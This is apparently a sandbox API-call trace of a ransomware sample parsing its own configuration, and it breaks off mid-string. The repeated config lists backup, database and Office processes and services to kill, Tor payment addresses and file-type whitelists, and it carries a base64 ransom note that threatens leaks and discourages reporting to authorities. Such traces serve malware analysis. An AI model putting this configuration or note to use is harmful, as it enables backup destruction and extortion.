exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}", _EndPtr=0x1c7fe1e0, _Radix=0 | out: _EndPtr=0x1c7fe1e0*=",\"spsz\":15360,\"thr\":1500,\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}") returned 0 [0085.139] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x18) returned 0x1b824d80 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba8a0 [0085.139] strtol (in: _Str="15360,\"thr\":1500,\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}", _EndPtr=0x1c7fe1e0, _Radix=0 | out: _EndPtr=0x1c7fe1e0*=",\"thr\":1500,\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3R